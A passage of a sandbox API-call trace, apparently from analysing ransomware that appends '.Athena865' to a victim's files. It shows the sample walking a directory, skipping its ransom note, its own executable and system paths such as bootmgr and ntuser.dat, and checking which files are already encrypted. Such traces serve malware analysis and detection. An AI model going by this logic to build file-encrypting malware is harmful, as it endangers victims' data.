ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.352] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.352] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.352] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.352] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc68a4de0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.352] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.352] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.352] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.352] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.352] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8dec620, ftCreationTime.dwHighDateTime=0x1d4d57c, ftLastAccessTime.dwLowDateTime=0xa3ddaeb0, ftLastAccessTime.dwHighDateTime=0x1d4ced4, ftLastWriteTime.dwLowDateTime=0xc63bc080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-BE_3cSpj5VFil 1.png.Athena865", cAlternateFileName="-BE_3C~1.ATH")) returned 1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2=".") returned 1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="..") returned 1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="windows") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="bootmgr") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="temp") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="pagefile.sys") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="boot") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="ids.txt") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="ntuser.dat") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="perflogs") returned -1 [0102.352] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="MSBuild") returned -1 [0102.352] lstrlenW (lpString="-BE_3cSpj5VFil 1.png.Athena865") returned 30 [0102.352] lstrcpyW (in: lpString1=0x241e8d8, lpString2="-BE_3cSpj5VFil 1.png.Athena865" | out: lpString1="-BE_3cSpj5VFil 1.png.Athena865") returned="-BE_3cSpj5VFil 1.png.Athena865" [0102.352] lstrlenW (lpString="-BE_3cSpj5VFil 1.png.Athena865") returned 30 [0102.352] lstrlenW (lpString="Athena865") returned 9 [0102.352] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.352] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab575fe0, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0x3a310d90, ftLastAccessTime.dwHighDateTime=0x1d4ceb6, ftLastWriteTime.dwLowDateTime=0xc64ecb80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0DtmKOGs7JD.png.Athena865", cAlternateFileName="0DTMKO~1.ATH")) returned 1 [0102.352] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.352] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2=".") returned 1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="..") returned 1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="windows") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="bootmgr") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="temp") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="pagefile.sys") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="boot") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="ids.txt") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="ntuser.dat") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="perflogs") returned -1 [0102.353] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="MSBuild") returned -1 [0102.353] lstrlenW (lpString="0DtmKOGs7JD.png.Athena865") returned 25 [0102.353] lstrcpyW (in: lpString1=0x241e8d8, lpString2="0DtmKOGs7JD.png.Athena865" | out: lpString1="0DtmKOGs7JD.png.Athena865") returned="0DtmKOGs7JD.png.Athena865" [0102.353] lstrlenW (lpString="0DtmKOGs7JD.png.Athena865") returned 25 [0102.353] lstrlenW (lpString="Athena865") returned 9 [0102.353] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.353] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9215ec0, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0xc5536740, ftLastAccessTime.dwHighDateTime=0x1d4cb1b, ftLastWriteTime.dwLowDateTime=0xc6512ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xe8f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0tnAHeA3v9Mw-E.gif.Athena865", cAlternateFileName="0TNAHE~1.ATH")) returned 1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2=".") returned 1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="..") returned 1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="windows") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="bootmgr") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="temp") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="pagefile.sys") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="boot") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="ids.txt") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="ntuser.dat") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="perflogs") returned -1 [0102.353] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="MSBuild") returned -1 [0102.354] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif.Athena865") returned 28 [0102.354] lstrcpyW (in: lpString1=0x241e8d8, lpString2="0tnAHeA3v9Mw-E.gif.Athena865" | out: lpString1="0tnAHeA3v9Mw-E.gif.Athena865") returned="0tnAHeA3v9Mw-E.gif.Athena865" [0102.354] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif.Athena865") returned 28 [0102.354] lstrlenW (lpString="Athena865") returned 9 [0102.354] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.354] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a1cd60, ftCreationTime.dwHighDateTime=0x1d4d4c7, ftLastAccessTime.dwLowDateTime=0x4838df50, ftLastAccessTime.dwHighDateTime=0x1d4c9b4, ftLastWriteTime.dwLowDateTime=0xc6512ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Rn0J_l.bmp.Athena865", cAlternateFileName="6RN0J_~1.ATH")) returned 1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2=".") returned 1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="..") returned 1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="windows") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="bootmgr") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="temp") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="pagefile.sys") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="boot") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="ids.txt") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="ntuser.dat") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="perflogs") returned -1 [0102.354] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="MSBuild") returned -1 [0102.354] lstrlenW (lpString="6Rn0J_l.bmp.Athena865") returned 21 [0102.355] lstrcpyW (in: lpString1=0x241e8d8, lpString2="6Rn0J_l.bmp.Athena865" | out: lpString1="6Rn0J_l.bmp.Athena865") returned="6Rn0J_l.bmp.Athena865" [0102.355] lstrlenW (lpString="6Rn0J_l.bmp.Athena865") returned 21 [0102.355] lstrlenW (lpString="Athena865") returned 9 [0102.355] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.355] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48f6c640, ftCreationTime.dwHighDateTime=0x1d4cb63, ftLastAccessTime.dwLowDateTime=0xcd95b810, ftLastAccessTime.dwHighDateTime=0x1d4cf33, ftLastWriteTime.dwLowDateTime=0xc6538e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11ff0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Ua28ahOOat.jpg.Athena865", cAlternateFileName="8UA28A~1.ATH")) returned 1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2=".") returned 1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="..") returned 1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="windows") returned -1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="bootmgr") returned -1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="temp") returned -1 [0102.355] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="pagefile.sys") returned -1 [0102.355] lstrcpyW (in: lpString1=0x241e8d8, lpString2="8Ua28ahOOat.jpg.Athena865" | out: lpString1="8Ua28ahOOat.jpg.Athena865") returned="8Ua28ahOOat.jpg.Athena865" [0102.355] lstrlenW (lpString="8Ua28ahOOat.jpg.Athena865") returned 25 [0102.355] lstrlenW (lpString="Athena865") returned 9 [0102.355] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.355] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c136960, ftCreationTime.dwHighDateTime=0x1d4d285, ftLastAccessTime.dwLowDateTime=0x89d75d30, ftLastAccessTime.dwHighDateTime=0x1d4ca89, ftLastWriteTime.dwLowDateTime=0xc655efa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3cd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jKc4GuOLdb.gif.Athena865", cAlternateFileName="9JKC4G~1.ATH")) returned 1 [0102.355] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.355] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.355] lstrcpyW (in: lpString1=0x241e8d8, lpString2="9jKc4GuOLdb.gif.Athena865" | out: lpString1="9jKc4GuOLdb.gif.Athena865") returned="9jKc4GuOLdb.gif.Athena865" [0102.355] lstrlenW (lpString="9jKc4GuOLdb.gif.Athena865") returned 25 [0102.355] lstrlenW (lpString="Athena865") returned 9 [0102.356] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.356] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3036ed30, ftCreationTime.dwHighDateTime=0x1d4c936, ftLastAccessTime.dwLowDateTime=0xd306db30, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0xc6585100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x18900, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8s46zioVN.bmp.Athena865", cAlternateFileName="A8S46Z~1.ATH")) returned 1 [0102.356] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.356] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.356] lstrcpyW (in: lpString1=0x241e8d8, lpString2="A8s46zioVN.bmp.Athena865" | out: lpString1="A8s46zioVN.bmp.Athena865") returned="A8s46zioVN.bmp.Athena865" [0102.356] lstrlenW (lpString="A8s46zioVN.bmp.Athena865") returned 24 [0102.356] lstrlenW (lpString="Athena865") returned 9 [0102.356] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.356] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe10aff0, ftCreationTime.dwHighDateTime=0x1d4c6b2, ftLastAccessTime.dwLowDateTime=0x4a9835f0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0xc6585100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bwco6yVtwvrspPp.bmp.Athena865", cAlternateFileName="BWCO6Y~1.ATH")) returned 1 [0102.356] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.356] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.356] lstrcpyW (in: lpString1=0x241e8d8, lpString2="bwco6yVtwvrspPp.bmp.Athena865" | out: lpString1="bwco6yVtwvrspPp.bmp.Athena865") returned="bwco6yVtwvrspPp.bmp.Athena865" [0102.356] lstrlenW (lpString="bwco6yVtwvrspPp.bmp.Athena865") returned 29 [0102.356] lstrlenW (lpString="Athena865") returned 9 [0102.356] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.356] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe81fbcb0, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x91fae130, ftLastAccessTime.dwHighDateTime=0x1d4d58d, ftLastWriteTime.dwLowDateTime=0xc65d13c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CDOyMLO_YVxau.jpg.Athena865", cAlternateFileName="CDOYML~1.ATH")) returned 1 [0102.356] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.356] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.356] lstrcpyW (in: lpString1=0x241e8d8, lpString2="CDOyMLO_YVxau.jpg.Athena865" | out: lpString1="CDOyMLO_YVxau.jpg.Athena865") returned="CDOyMLO_YVxau.jpg.Athena865" [0102.356] lstrlenW (lpString="CDOyMLO_YVxau.jpg.Athena865") returned 27 [0102.356] lstrlenW (lpString="Athena865") returned 9 [0102.356] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.356] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0102.356] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.356] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.356] lstrcpyW (in: lpString1=0x241e8d8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.356] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.356] lstrlenW (lpString="Athena865") returned 9 [0102.356] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.357] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa57dbe00, ftCreationTime.dwHighDateTime=0x1d4ce6f, ftLastAccessTime.dwLowDateTime=0x3e40ad30, ftLastAccessTime.dwHighDateTime=0x1d4cba7, ftLastWriteTime.dwLowDateTime=0xc65f7520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6610, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DxZ89tQr5hB.jpg.Athena865", cAlternateFileName="DXZ89T~1.ATH")) returned 1 [0102.357] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.357] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.357] lstrcpyW (in: lpString1=0x241e8d8, lpString2="DxZ89tQr5hB.jpg.Athena865" | out: lpString1="DxZ89tQr5hB.jpg.Athena865") returned="DxZ89tQr5hB.jpg.Athena865" [0102.357] lstrlenW (lpString="DxZ89tQr5hB.jpg.Athena865") returned 25 [0102.357] lstrlenW (lpString="Athena865") returned 9 [0102.357] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.357] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06ca5c0, ftCreationTime.dwHighDateTime=0x1d4d4d9, ftLastAccessTime.dwLowDateTime=0x1c1f2880, ftLastAccessTime.dwHighDateTime=0x1d4d106, ftLastWriteTime.dwLowDateTime=0xc65f7520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F7QVJPbfkQM.gif.Athena865", cAlternateFileName="F7QVJP~1.ATH")) returned 1 [0102.357] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.357] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.357] lstrcpyW (in: lpString1=0x241e8d8, lpString2="F7QVJPbfkQM.gif.Athena865" | out: lpString1="F7QVJPbfkQM.gif.Athena865") returned="F7QVJPbfkQM.gif.Athena865" [0102.357] lstrlenW (lpString="F7QVJPbfkQM.gif.Athena865") returned 25 [0102.357] lstrlenW (lpString="Athena865") returned 9 [0102.357] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.357] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4799f260, ftCreationTime.dwHighDateTime=0x1d4cb84, ftLastAccessTime.dwLowDateTime=0x5f371900, ftLastAccessTime.dwHighDateTime=0x1d4cd93, ftLastWriteTime.dwLowDateTime=0xc661d680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gMvYXH18Yeul8hy7kd.jpg.Athena865", cAlternateFileName="GMVYXH~1.ATH")) returned 1 [0102.357] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.357] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.357] lstrcpyW (in: lpString1=0x241e8d8, lpString2="gMvYXH18Yeul8hy7kd.jpg.Athena865" | out: lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865") returned="gMvYXH18Yeul8hy7kd.jpg.Athena865" [0102.357] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.jpg.Athena865") returned 32 [0102.357] lstrlenW (lpString="Athena865") returned 9 [0102.357] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.357] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39cd3640, ftCreationTime.dwHighDateTime=0x1d4d225, ftLastAccessTime.dwLowDateTime=0x6a2f8f80, ftLastAccessTime.dwHighDateTime=0x1d4c57e, ftLastWriteTime.dwLowDateTime=0xc661d680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc0f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hhvAWIyB-LHiXo.png.Athena865", cAlternateFileName="HHVAWI~1.ATH")) returned 1 [0102.357] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.357] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.357] lstrcpyW (in: lpString1=0x241e8d8, lpString2="hhvAWIyB-LHiXo.png.Athena865" | out: lpString1="hhvAWIyB-LHiXo.png.Athena865") returned="hhvAWIyB-LHiXo.png.Athena865" [0102.357] lstrlenW (lpString="hhvAWIyB-LHiXo.png.Athena865") returned 28 [0102.357] lstrlenW (lpString="Athena865") returned 9 [0102.357] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.357] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbced0020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbced0020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.357] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.358] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f7bf80, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x3b09ece0, ftLastAccessTime.dwHighDateTime=0x1d4c81d, ftLastWriteTime.dwLowDateTime=0xc66437e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HtNt.png.Athena865", cAlternateFileName="HTNTPN~1.ATH")) returned 1 [0102.358] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.358] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.358] lstrcpyW (in: lpString1=0x241e8d8, lpString2="HtNt.png.Athena865" | out: lpString1="HtNt.png.Athena865") returned="HtNt.png.Athena865" [0102.358] lstrlenW (lpString="HtNt.png.Athena865") returned 18 [0102.358] lstrlenW (lpString="Athena865") returned 9 [0102.358] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.358] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58df7850, ftCreationTime.dwHighDateTime=0x1d4c856, ftLastAccessTime.dwLowDateTime=0xd4ddac50, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0xc66437e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JB7yzTWIUGM3Q.png.Athena865", cAlternateFileName="JB7YZT~1.ATH")) returned 1 [0102.358] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", 